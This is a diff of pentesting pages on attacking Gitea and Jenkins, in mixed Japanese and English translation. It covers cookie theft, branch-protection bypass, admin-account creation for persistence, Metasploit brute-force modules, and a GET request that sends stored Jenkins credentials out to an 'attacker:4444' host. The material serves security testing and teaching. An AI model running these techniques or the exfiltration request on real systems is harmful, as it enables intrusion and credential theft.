[http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations) -デフォルトでは、**Giteaは新しいユーザーの登録を許可します**。これにより、新しいユーザーが他の組織やユーザーのリポジトリに特別なアクセスを得ることはありませんが、**ログインしたユーザー**は**より多くのリポジトリや組織を視覚化できる**かもしれません。 +Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**. -## 内部悪用 +## Internal Exploitation -このシナリオでは、あなたがgithubアカウントへのアクセスを取得したと仮定します。 +For this scenario we are going to suppose that you have obtained some access to a github account. -### ユーザー資格情報/ウェブクッキーを使用して +### With User Credentials/Web Cookie -もしあなたが組織内のユーザーの資格情報を持っている場合（またはセッションクッキーを盗んだ場合）、**ただログイン**して、どの**リポジトリに対してどの**権限を持っているか、**どのチームにいるか、**他のユーザーを**リストし、**リポジトリがどのように保護されているかを確認できます。** +If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.** -**2FAが使用される可能性がある**ため、そのチェックを**通過できる**場合にのみ、この情報にアクセスできることに注意してください。 +Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**. > [!NOTE] -> `i_like_gitea`クッキーを**盗むことに成功した場合**（現在SameSite: Laxで設定されています）、資格情報や2FAを必要とせずに**ユーザーを完全に偽装**できます。 +> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA. -### ユーザーSSHキーを使用して +### With User SSH Key -Giteaは**ユーザー**が**SSHキー**を設定することを許可しており、これが**コードをデプロイするための認証方法**として使用されます（2FAは適用されません）。 +Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied). -このキーを使用して、ユーザーがいくつかの権限を持つリポジトリで**変更を行う**ことができますが、gitea APIにアクセスして環境を列挙するためには使用できません。ただし、**ローカル設定を列挙**して、アクセスできるリポジトリやユーザーに関する情報を取得できます。 +With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to: ```bash # Go to the the repository folder # Get repo config and current user name and email git config --list ``` -ユーザーが自分の gitea ユーザー名としてユーザー名を設定している場合、_https://github.com/\.keys_ で彼のアカウントに設定された **公開鍵** にアクセスできます。これを確認して、見つけた秘密鍵が使用できるかどうかを確認できます。 +ユーザーが username を gitea username として設定している場合、アカウント内で設定されている**public keys**に _https://github.com/\.keys_ でアクセスできます。見つけた private key が使えることを確認するために、これを確認できます。 -**SSH 鍵** は **デプロイ鍵** としてリポジトリに設定することもできます。この鍵にアクセスできる人は、**リポジトリからプロジェクトを起動する** ことができます。通常、異なるデプロイ鍵を持つサーバーでは、ローカルファイル **`~/.ssh/config`** が関連する鍵に関する情報を提供します。 +**SSH keys** はリポジトリ内で **deploy keys** としても設定できます。この key にアクセスできる人は誰でも、**repository から projects を起動**できます。通常、異なる deploy keys がある server では、ローカルファイル **`~/.ssh/config`** にどの key が関連しているかの情報があります。 -#### GPG 鍵 +#### GPG Keys -[**こちら**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) で説明されているように、コミットに署名する必要がある場合や、発見される可能性があります。 +[**ここ**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) で説明されているように、場合によっては commits に署名する必要があったり、見つかってしまうことがあります。 -現在のユーザーが鍵を持っているかどうかをローカルで確認してください: +現在の user が何か key を持っているかをローカルで次のように確認します: ```shell gpg --list-secret-keys --keyid-format=long ``` -### ユーザートークンを使用して +### With User Token -[**ユーザートークンの基本情報については、こちらを確認してください**](basic-gitea-information.md#personal-access-tokens) 。 +[**User Tokens についての基本情報はこちら**](basic-gitea-information.md#personal-access-tokens) を参照。 -ユーザートークンは、Giteaサーバーに対して**認証**するために**パスワードの代わりに**使用できます[**API経由で**](https://try.gitea.io/api/swagger#/)。ユーザーに対して**完全なアクセス**を持ちます。 +user token は、Gitea server に対して [**via API**](https://try.gitea.io/api/swagger#/) で **authenticate** するために、**password の代わり**に使える。これにより、その user への **complete access** を持つ。 -### Oauthアプリケーションを使用して +### With Oauth Application -[**Gitea Oauthアプリケーションの基本情報については、こちらを確認してください**](./#with-oauth-application) 。 +[**Gitea Oauth Applications についての基本情報はこちら**](#with-oauth-application) を参照。 -攻撃者は、フィッシングキャンペーンの一環として、ユーザーが受け入れる可能性のある**悪意のあるOauthアプリケーション**を作成して、特権データやアクションにアクセスするかもしれません。 +attacker は、phishing campaign の一環として、受け入れた user の特権データやアクションにアクセスするための **malicious Oauth Application** を作成できるかもしれない。 -基本情報で説明されているように、アプリケーションは**ユーザーアカウントに対して完全なアクセス**を持ちます。 +基本情報で説明したように、その application は user account への **full access** を持つ。 -### ブランチ保護のバイパス +### Branch Protection Bypass -Githubには、デフォルトでリポジトリに対して**書き込みアクセスを持つトークン**を取得する**github actions**があります。これを使用して**ブランチ保護をバイパス**できます。この場合は**存在しない**ため、バイパスはより制限されます。しかし、何ができるか見てみましょう： +Github では **github actions** があり、デフォルトで repo に対する **write access** を持つ **token** を取得し、それを使って **branch protections** を **bypass** できる。ここではそれが **存在しない** ため、bypass はより限定的になる。だが、何ができるか見てみよう: -- **プッシュを有効にする**: 書き込みアクセスを持つ誰かがブランチにプッシュできる場合は、単にプッシュします。 -- **制限されたプッシュをホワイトリストに追加**: 同様に、このリストの一部であればブランチにプッシュします。 -- **マージホワイトリストを有効にする**: マージホワイトリストがある場合は、その中にいる必要があります。 -- **承認が0より大きいことを要求**: その場合... 別のユーザーを妥協させる必要があります。 -- **ホワイトリストに制限された承認**: ホワイトリストに登録されたユーザーのみが承認できる場合... そのリストにいる別のユーザーを妥協させる必要があります。 -- **古い承認を無効にする**: 新しいコミットで承認が削除されない場合、すでに承認されたPRをハイジャックしてコードを挿入し、PRをマージすることができます。 +- **Enable Push**: write access を持つ誰でも branch に push できるなら、そのまま push する。 +- **Whitelist Restricted Pus**h: 同じく、この list の一部なら branch に push する。 +- **Enable Merge Whitelist**: merge whitelist があるなら、その中に入っている必要がある +- **Require approvals is bigger than 0**: その場合... 別の user を compromise する必要がある +- **Restrict approvals to whitelisted**: whitelisted user だけが approve できるなら... その list の中にいる別の user を compromise する必要がある +- **Dismiss stale approvals**: 新しい commit で approvals が削除されないなら、すでに approve 済みの PR を hijack して自分の code を注入し、その PR を merge できる。 -**あなたがorg/repoの管理者である場合**、保護をバイパスできることに注意してください。 +**org/repo admin** であれば protections を bypass できることに注意。 -### ウェブフックの列挙 +### Enumerate Webhooks -**ウェブフック**は、**特定のgitea情報をいくつかの場所に送信する**ことができます。その通信を**悪用する**ことができるかもしれません。\ -ただし、通常、**秘密**が**ウェブフック**に設定されており、URLを知っている外部ユーザーがその秘密を知らない場合、**そのウェブフックを悪用することを防ぎます**。\ -しかし、時には、秘密をその場所に設定する代わりに、**URLにパラメータとして設定する**人もいるため、**URLを確認することで**秘密や他の悪用できる場所を**見つけることができるかもしれません**。 +**Webhooks** は、特定の gitea 情報をいくつかの場所へ **送信** できる。そこでの通信を **exploit** できるかもしれない。\ +ただし通常は、URL を知っていても secret を知らない外部 user がその webhook を **exploit** するのを **prevent** するため、取得できない **secret** が **webhook** に設定されている。\ +しかし場合によっては、secret を本来の場所ではなく URL のパラメータとして設定していることがある。そのため、**URLs を確認** することで、secret や、さらに exploit できる他の場所を **find** できる可能性がある。 -ウェブフックは**リポジトリと組織レベル**で設定できます。 +Webhooks は **repo** と **org level** の両方で設定できる。 -## ポストエクスプロイテーション +## Post Exploitation -### サーバー内 +### Inside the server -もし何らかの方法でgiteaが実行されているサーバーに入ることができたら、giteaの設定ファイルを探すべきです。デフォルトでは、`/data/gitea/conf/app.ini`にあります。 +何らかの方法で gitea が動作している server に入れたなら、gitea の configuration file を探すべきだ。デフォルトでは `/data/gitea/conf/app.ini` にある。 -このファイルには**キー**や**パスワード**が含まれています。 +この file には **keys** と **passwords** がある。 -giteaのパス（デフォルト：/data/gitea）には、次のような興味深い情報も見つかります： +gitea path（デフォルト: /data/gitea）には、次のような興味深い情報もある: -- **sqlite** DB: giteaが外部DBを使用していない場合、sqlite DBを使用します。 -- **セッション**フォルダー内の**セッション**: `cat sessions/*/*/*`を実行すると、ログインしているユーザーのユーザー名を見ることができます（giteaはDB内にセッションを保存することもあります）。 -- **jwtプライベートキー**がjwtフォルダー内にあります。 -- このフォルダーにはさらに**機密情報**が見つかる可能性があります。 +- **sqlite** DB: gitea が external db を使っていなければ sqlite db を使う +- **sessions** folder 内の **sessions**: `cat sessions/*/*/*` を実行すると、ログイン済み user の usernames が見える（gitea は sessions を DB に保存することもある）。 +- **jwt private key** は jwt folder 内にある +- この folder にはさらに多くの **sensitive information** が見つかる可能性がある -サーバー内にいる場合、**`gitea`バイナリを使用して情報にアクセス/変更することもできます**： +server 内にいるなら、`gitea` binary を使って information にアクセス/変更することもできる: -- `gitea dump`はgiteaをダンプし、.zipファイルを生成します。 -- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET`は、指定されたタイプのトークンを生成します（永続性）。 -- `gitea admin user change-password --username admin --password newpassword` パスワードを変更します。 -- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` 新しい管理ユーザーを作成し、アクセストークンを取得します。 +- `gitea dump` は gitea を dump し、.zip file を生成する +- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` は、指定された type の token を生成する（persistence） +- `gitea admin user change-password --username admin --password newpassword` password を変更する +- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` 新しい admin user を作成し、access token を取得する {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md index 697940baf..e5087ec64 100644 --- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md +++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md @@ -1,103 +1,103 @@ -# 基本的なGitea情報 +# Basic Gitea Information {{#include ../../banners/hacktricks-training.md}} -## 基本構造 +## Basic Structure -基本的なGitea環境の構造は、**組織**によってリポジトリをグループ化することです。各組織は**いくつかのリポジトリ**と**いくつかのチーム**を含むことができます。ただし、githubと同様に、ユーザーは組織外にリポジトリを持つことができます。 +basic Gitea environment structure は、repo を **organization(s),** ごとにまとめる構成で、それぞれに **several repositories** と **several teams.** を含めることができます。ただし、github と同様に、users が organization 外に repos を持てる点に注意してください。 -さらに、**ユーザー**は**異なる組織のメンバー**であることができます。組織内では、ユーザーは**各リポジトリに対して異なる権限**を持つことがあります。 +さらに、**user** は **different organizations** の **member** にもなれます。organization 内では、その user は各 repository ごとに **different permissions** を持つ場合があります。 -ユーザーはまた、異なるリポジトリに対して異なる権限を持つ**異なるチームの一員**であることもできます。 +また、user は異なる repos に対して異なる permissions を持つ **different teams** の一員にもなれます。 -最後に、**リポジトリには特別な保護メカニズム**がある場合があります。 +そして最後に、**repositories may have special protection mechanisms** があります。 -## 権限 +## Permissions -### 組織 +### Organizations -**組織が作成されると**、**Owners**というチームが**作成され**、ユーザーはその中に配置されます。このチームは**組織に対する管理者アクセス**を提供し、その**権限**と**チームの名前**は**変更できません**。 +**organization is created** されると、**Owners** という team が **created** され、user はその中に入れられます。この team は **organization** に対する **admin access** を付与し、これらの **permissions** と team の **name** は **cannot be modified** です。 -**Org admins**（オーナー）は、組織の**可視性**を選択できます： +**Org admins** (owners) は organization の **visibility** を選択できます: -- 公開 -- 限定（ログインユーザーのみ） -- 非公開（メンバーのみ） +- Public +- Limited (logged in users only) +- Private (members only) -**Org admins**は、**リポジトリ管理者**が**チームのアクセスを追加または削除**できるかどうかも示すことができます。また、最大リポジトリ数を指定することもできます。 +**Org admins** は、**repo admins** が teams の access を **add and or remove** できるかどうかも指定できます。また、最大 repos 数も指定できます。 -新しいチームを作成する際には、いくつかの重要な設定が選択されます： +新しい team を作成する際、いくつかの重要な設定が選択されます: -- チームのメンバーがアクセスできる**組織のリポジトリ**が指定されます：特定のリポジトリ（チームが追加されたリポジトリ）またはすべて。 -- **メンバーが新しいリポジトリを作成できるかどうか**も指定されます（作成者はそのリポジトリに管理者アクセスを得ます）。 -- リポジトリの**メンバーが持つ**権限： -- **管理者**アクセス -- **特定の**アクセス： +- team の members がアクセスできる org の **repos** を指定します: specific repos (repos where the team is added) または all。 +- members が新しい repos を作成できるかどうかも指定されます (creator will get admin access to it) +- repo の **members** が持つ **permissions**: +- **Administrator** access +- **Specific** access: -![](<../../images/image (118).png>) +![Gitea organization repository permission matrix for owner, contributor, reader, and access roles](<../../images/image (118).png>) -### チームとユーザー +### Teams & Users -リポジトリ内で、**org admin**と**リポジトリ管理者**（組織によって許可されている場合）は、コラボレーター（他のユーザー）やチームに与えられた**役割を管理**できます。可能な**役割**は**3**つです： +repo では、**org admin** と **repo admins** (org により許可されている場合) が collaborators (other users) と teams に与える **roles** を **manage** できます。可能な **roles** は **3** つです: -- 管理者 -- 書き込み -- 読み取り +- Administrator +- Write +- Read -## Gitea認証 +## Gitea Authentication -### ウェブアクセス +### Web Access -**ユーザー名 + パスワード**を使用し、可能であれば（推奨）2FAを使用します。 +**username + password** を使い、必要に応じて（推奨）2FA を追加します。 -### **SSHキー** +### **SSH Keys** -関連する**秘密鍵があなたの代わりにアクションを実行できるように**、1つまたは複数の公開鍵でアカウントを構成できます。[http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) +アカウントに 1 つ以上の public keys を設定でき、対応する **private key** があなたの代わりに actions を実行できるようになります。 [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) -#### **GPGキー** +#### **GPG Keys** -これらのキーを使用してユーザーを偽装することは**できません**が、使用しない場合、**署名なしでコミットを送信することで発見される可能性があります**。 +これらの keys では user を impersonate できませんが、使っていない場合は、signature なしで commits を送信したことで **get discover** される可能性があります。 -### **個人アクセストークン** +### **Personal Access Tokens** -アプリケーションにあなたのアカウントへのアクセスを**与えるために個人アクセストークンを生成できます**。個人アクセストークンはあなたのアカウントに対する完全なアクセスを提供します：[http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) +personal access token を生成して application にアカウントへの access を与えることができます。personal access token はアカウント全体への full access を与えます: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) -### Oauthアプリケーション +### Oauth Applications -個人アクセストークンと同様に、**Oauthアプリケーション**はあなたのアカウントとあなたのアカウントがアクセスできる場所に対して**完全なアクセス**を持ちます。なぜなら、[docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes)に示されているように、スコープはまだサポートされていないからです： +personal access tokens と同様に、**Oauth applications** はアカウント全体と、アカウントがアクセスできる場所への **complete access** を持ちます。なぜなら、[docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes) に示されているように、scopes はまだサポートされていないためです: -![](<../../images/image (194).png>) +![Gitea OAuth authorization prompt for TestApp requesting full account and organization access](<../../images/image (194).png>) -### デプロイキー +### Deploy keys -デプロイキーはリポジトリに対して読み取り専用または書き込みアクセスを持つことができるため、特定のリポジトリを侵害するのに興味深いかもしれません。 +Deploy keys は repo に read-only または write access を持てるため、特定の repos を compromise する上で有用かもしれません。 -## ブランチ保護 +## Branch Protections -ブランチ保護は、ユーザーに**リポジトリの完全な制御を与えない**ように設計されています。目標は、**いくつかの保護方法を設けて、特定のブランチ内にコードを書くことができるようにすること**です。 +Branch protections は、users に repository の complete control を **not give** するために設計されています。目的は、ある branch に code を書き込めるようになる前に、複数の protection methods を **put** することです。 -**リポジトリのブランチ保護**は、_https://localhost:3000/\/\/settings/branches_で見つけることができます。 +repository の **branch protections** は _https://localhost:3000/\/\/settings/branches_ で確認できます。 > [!NOTE] -> 組織レベルでブランチ保護を設定することは**できません**。したがって、すべての保護は各リポジトリで宣言する必要があります。 +> organization level で branch protection を設定することは **not possible** です。したがって、すべての repo ごとに宣言する必要があります。 -ブランチに適用できるさまざまな保護があります（例えば、masterに）： +branch に対して、さまざまな protections を適用できます (master のように): -- **プッシュを無効にする**：誰もこのブランチにプッシュできません -- **プッシュを有効にする**：アクセス権のある誰でもプッシュできますが、強制プッシュはできません。 -- **ホワイトリスト制限プッシュを有効にする**：選択されたユーザー/チームのみがこのブランチにプッシュできます（ただし、強制プッシュはできません）。 -- **マージホワイトリストを有効にする**：ホワイトリストに登録されたユーザー/チームのみがPRをマージできます。 -- **ステータスチェックを有効にする**：マージする前にステータスチェックが通過することを要求します。 -- **承認を要求する**：PRをマージする前に必要な承認の数を示します。 -- **ホワイトリストに制限された承認**：PRを承認できるユーザー/チームを示します。 -- **拒否されたレビューでのマージをブロックする**：変更が要求された場合、マージできません（他のチェックが通過しても）。 -- **公式レビューリクエストでのマージをブロックする**：公式レビューリクエストがある場合、マージできません。 -- **古い承認を無効にする**：新しいコミットがあると、古い承認は無効になります。 -- **署名されたコミットを要求する**：コミットは署名されなければなりません。 -- **プルリクエストが古くなった場合はマージをブロックする** -- **保護された/保護されていないファイルパターン**：変更から保護/保護解除するファイルのパターンを示します。 +- **Disable Push**: 誰もこの branch に push できない +- **Enable Push**: access のある人なら誰でも push できるが、force push はできない +- **Whitelist Restricted Push**: 選択された users/teams のみがこの branch に push できる (ただし force push は不可) +- **Enable Merge Whitelist**: whitelist に載った users/teams のみが PR を merge できる +- **Enable Status checks:** merge 前に status checks の pass を必須にする +- **Require approvals**: PR を merge する前に必要な approvals 数を指定する +- **Restrict approvals to whitelisted**: PR を approve できる users/teams を指定する +- **Block merge on rejected reviews**: 変更要求がある場合、他の checks が通っていても merge できない +- **Block merge on official review requests**: official review requests がある場合、merge できない +- **Dismiss stale approvals**: 新しい commits があると、古い approvals は dismiss される +- **Require Signed Commits**: Commits must be signed. +- **Block merge if pull request is outdated** +- **Protected/Unprotected file patterns**: 変更から protect/unprotect する files の patterns を指定する > [!NOTE] -> ご覧のとおり、ユーザーの資格情報を取得できたとしても、**リポジトリが保護されているため、例えばmasterにコードをプッシュすることができない場合があります**。 +> ご覧のとおり、たとえ user の credentials をいくつか入手できたとしても、repos が protected されていれば、たとえば master に code を push して CI/CD pipeline を compromise することはできません。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md index db22210b4..c89b474ba 100644 --- a/src/pentesting-ci-cd/jenkins-security/README.md +++ b/src/pentesting-ci-cd/jenkins-security/README.md @@ -1,91 +1,91 @@ -# Jenkins セキュリティ +# Jenkins Security {{#include ../../banners/hacktricks-training.md}} -## 基本情報 +## Basic Information -Jenkins は、パイプラインを使ってほとんど**あらゆる**組み合わせの**プログラミング言語**とソースコードリポジトリに対して、**継続的インテグレーション**または**継続的デリバリー** (CI/CD) 環境を構築するためのシンプルな手段を提供するツールです。さらに、さまざまな日常的な開発タスクを自動化します。Jenkins が**個々のステップ用にスクリプトを作成する必要**を完全に排除するわけではありませんが、ビルド、テスト、デプロイの一連のツールを手作業で構築するよりも、より迅速かつ堅牢に統合する方法を提供します。 +Jenkinsは、ほぼ**あらゆる**組み合わせの**プログラミング言語**とソースコードリポジトリに対して、pipelinesを使って**continuous integration**または**continuous delivery**(CI/CD)環境を構築するための、わかりやすい方法を提供するtoolです。さらに、各種の定型的なdevelopment tasksを自動化します。Jenkinsは**個々の手順ごとにscriptsを作成する必要**をなくすわけではありませんが、build、test、deployment tool全体の流れを統合するための、より高速で堅牢な方法を提供し、手作業で簡単に組み立てるよりも優れています。 {{#ref}} basic-jenkins-information.md {{#endref}} -## 未認証での列挙 +## Unauthenticated Enumeration -認証なしで興味深い Jenkins ページ（例: _/people_ や _/asynchPeople_ — これらは現在のユーザを一覧表示します）を検索するには、次を使用できます: +authenticationなしで興味深いJenkinsページ（たとえば_people_や_/asynchPeople_、これらは現在のusers一覧を表示します）を探すには、次を使えます: ``` msf> use auxiliary/scanner/http/jenkins_enum ``` -認証不要でコマンドを実行できるか確認する: +認証なしでコマンドを実行できるか確認します: ``` msf> use auxiliary/scanner/http/jenkins_command ``` -認証情報がなくても、_**/asynchPeople/**_ パスや _**/securityRealm/user/admin/search/index?q=**_ を確認して **usernames** を取得できます。 +資格情報なしでも、_**/asynchPeople/**_ パスや _**/securityRealm/user/admin/search/index?q=**_ から **usernames** を確認できます。 -Jenkins のバージョンは _**/oops**_ や _**/error**_ パスから取得できることがあります。 +_**/oops**_ または _**/error**_ のパスから Jenkins の version を取得できる場合があります。 -![](<../../images/image (146).png>) +![Jenkins Oops error page exposing the Jenkins version in the footer](<../../images/image (146).png>) -### 既知の脆弱性 +### Known Vulnerabilities {{#ref}} https://github.com/gquere/pwn_jenkins {{#endref}} -## ログイン +## Login -基本情報から、**Jenkins にログインするためのすべての方法** を確認できます： +基本情報では、Jenkins 内に **ログインするためのすべての方法** を確認できます: {{#ref}} basic-jenkins-information.md {{#endref}} -### 登録 +### Register -Jenkins のインスタンスの中には、**アカウントを作成してログインできるものがあります。とても単純です。** +Jenkins インスタンスの中には、**アカウントを作成してログインできる** ものがあります。つまり、それだけです。 -### **SSO ログイン** +### **SSO Login** -また、**SSO** **functionality**/**plugins** が存在する場合は、テストアカウント（例：テスト **Github/Bitbucket account**）を使ってアプリケーションに **log-in** を試みるべきです。Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). +また、**SSO** **functionality**/**plugins** がある場合は、テストアカウント（例: テスト用の **Github/Bitbucket account**）を使ってアプリケーションに **log-in** してみるべきです。[**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/) のトリックです。 ### Bruteforce -**Jenkins** には **password policy** や **username brute-force mitigation** がありません。**brute-force** を行うことは重要です。なぜなら **weak passwords** や **usernames as passwords**、さらには **reversed usernames as passwords** が使われている可能性があるからです。 +**Jenkins** には **password policy** も **username brute-force mitigation** もありません。**弱い password** や **usernames as passwords**、さらには **reversed usernames as passwords** が使われている可能性があるため、ユーザーに対して **brute-force** することが重要です。 ``` msf> use auxiliary/scanner/http/jenkins_login ``` ### Password spraying -次のスクリプトを使用してください: [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) または [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray)。 +[この python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) または [この powershell script](https://github.com/chryzsh/JenkinsPasswordSpray) を使用してください。 ### IP Whitelisting Bypass -多くの組織は、GitHub や GitLab のような **SaaS-based source control management (SCM) systems** と、Jenkins や TeamCity のような **internal, self-hosted CI** ソリューションを組み合わせています。この構成により、CI システムは主にパイプラインジョブをトリガーするために、**receive webhook events from SaaS source control vendors** ことができます。 +多くの組織は、GitHub や GitLab のような **SaaS-based source control management (SCM) systems** と、Jenkins や TeamCity のような **internal, self-hosted CI** ソリューションを組み合わせています。この構成により、CI systems は主に pipeline jobs をトリガーするために、**SaaS source control vendors** からの **webhook events** を受信できます。 -これを実現するため、組織は**SCM platforms**の**IP ranges**を**whitelist**し、**webhooks**経由で**internal CI system**へアクセスを許可します。ただし、重要なのは**anyone**が GitHub または GitLab に**account**を作成し、**trigger a webhook**を設定でき、それによって**internal CI system**にリクエストが送られる可能性がある点です。 +これを実現するために、組織は **SCM platforms** の **IP ranges** を **whitelist** し、**webhooks** を介して **internal CI system** へアクセスできるようにします。しかし重要なのは、**anyone** が GitHub や GitLab に **account** を作成し、**webhook** を **trigger** するよう設定できるため、**internal CI system** にリクエストを送信できる可能性があることです。 -参照: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) +Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) ## Internal Jenkins Abuses -ここでは、Jenkins にアクセスする有効なアカウントを持っているものと仮定します。 +これらのシナリオでは、Jenkins にアクセスできる有効な account があると仮定します。 > [!WARNING] -> Jenkins に設定されている **Authorization** メカニズムや、侵害されたユーザーの権限によっては、以下の攻撃を**実行できる場合とできない場合があります。** +> Jenkins で設定された **Authorization** mechanism と侵害された user の permission によって、以下の attacks を実行できる場合とできない場合があります。 -For more information check the basic information: +詳細については、基本情報を確認してください: {{#ref}} basic-jenkins-information.md {{#endref}} -### ユーザーの列挙 +### Listing users -Jenkins にアクセスできる場合、他の登録ユーザーを http://127.0.0.1:8080/asynchPeople/ で一覧できます。 +Jenkins にアクセスできる場合、[http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) で他の登録済み users を列挙できます。 -### ビルドをダンプして平文のシークレットを探す +### Dumping builds to find cleartext secrets -ビルドのコンソール出力やビルド環境変数をダンプして、平文のシークレットが見つかるか確認するために [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) を使用してください。 +[この script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) を使用して build の console outputs と build environment variables をダンプし、cleartext secrets を見つけられることを期待します。 ```bash python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps cd build_dumps @@ -93,37 +93,37 @@ gitleaks detect --no-git -v ``` ### FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft) -一部のプラグインは、Jelly の `validateButton` や `test connection` ハンドラを `/descriptorByName//testConnection` のようなパスで公開しています。ハンドラが **POST や権限チェックを強制しない** 場合、以下が可能です： +一部の plugin は、`/descriptorByName//testConnection` のような path 配下で Jelly `validateButton` や `test connection` の handler を公開しています。handler が **POST や permission check を強制しない** 場合、次のことができます。 -- POST を GET に切り替え、Crumb を省略して CSRF チェックを回避します。 -- `Jenkins.ADMINISTER` チェックがない場合、低権限／匿名でハンドラを実行できます。 -- 管理者に対して CSRF を行い、host/URL パラメータを差し替えて credentials を exfiltrate したり、外向きの呼び出しを発生させます。 -- レスポンスのエラー（例: `ConnectException`）を SSRF/port-scan オラクルとして利用できます。 +- POST を GET に切り替え、Crumb を外して CSRF check を bypass する。 +- `Jenkins.ADMINISTER` check がない場合、低権限/anonymous として handler を発火する。 +- admin に CSRF を仕掛け、host/URL parameter を差し替えて credentials を exfiltration したり、outbound call を発生させる。 +- 応答エラー（例: `ConnectException`）を SSRF/port-scan oracle として使う。 -Example GET（no Crumb）で、バリデーション呼び出しを SSRF/credential exfiltration に変換する例： +validation call を SSRF/credential exfiltration に変える例の GET（Crumb なし）: ```http GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1 Host: jenkins.local:8080 ``` -If the plugin reuses stored creds, Jenkins will attempt to authenticate to `attacker:4444` and may leak identifiers or errors in the response. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/ +プラグインが保存済みの creds を再利用する場合、Jenkins は `attacker:4444` への認証を試み、レスポンス内で識別子やエラーを leak する可能性があります。参照: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/ ### **Stealing SSH Credentials** -If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key: +侵害されたユーザーが **新しい Jenkins node を作成/変更するのに十分な権限** を持っており、他の node にアクセスするための SSH credentials がすでに保存されている場合、**host key を検証せずに credentials を記録する host を設定**して node を作成/変更することで、それらの credentials を **steal** できます: -![](<../../images/image (218).png>) +![Jenkins node configuration form with host, credentials, and non-verifying host key strategy fields](<../../images/image (218).png>) -You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](#dumping-secrets). +通常、Jenkins の ssh credentials は **global provider** (`/credentials/`) にあるため、他の secret を dump するのと同じように dump できます。詳細は [**Dumping secrets section**](#dumping-secrets) を参照してください。 ### **RCE in Jenkins** -Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**. +Jenkins server で **shell** を取得すると、攻撃者はすべての **secrets** と **env variables** を leak し、同じネットワーク上にある他の machine を **exploit** したり、**cloud credentials** を収集したりする機会を得ます。 -By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**. +デフォルトでは、Jenkins は **SYSTEM** として **run** します。そのため、これを侵害すると攻撃者に **SYSTEM privileges** が与えられます。 ### **RCE Creating/Modifying a project** -Creating/Modifying a project is a way to obtain RCE over the Jenkins server: +プロジェクトの作成/変更は、Jenkins server に対する RCE を得る方法の1つです: {{#ref}} jenkins-rce-creating-modifying-project.md @@ -131,7 +131,7 @@ jenkins-rce-creating-modifying-project.md ### **RCE Execute Groovy script** -You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project: +Groovy script を実行して RCE を得ることもできます。これは新しいプロジェクトを作成するよりも stealthier かもしれません: {{#ref}} jenkins-rce-with-groovy-script.md @@ -139,7 +139,7 @@ jenkins-rce-with-groovy-script.md ### RCE Creating/Modifying Pipeline -You can also get **RCE by creating/modifying a pipeline**: +**pipeline を作成/変更することで RCE** を得ることもできます: {{#ref}} jenkins-rce-creating-modifying-pipeline.md @@ -147,35 +147,35 @@ jenkins-rce-creating-modifying-pipeline.md ## Pipeline Exploitation -To 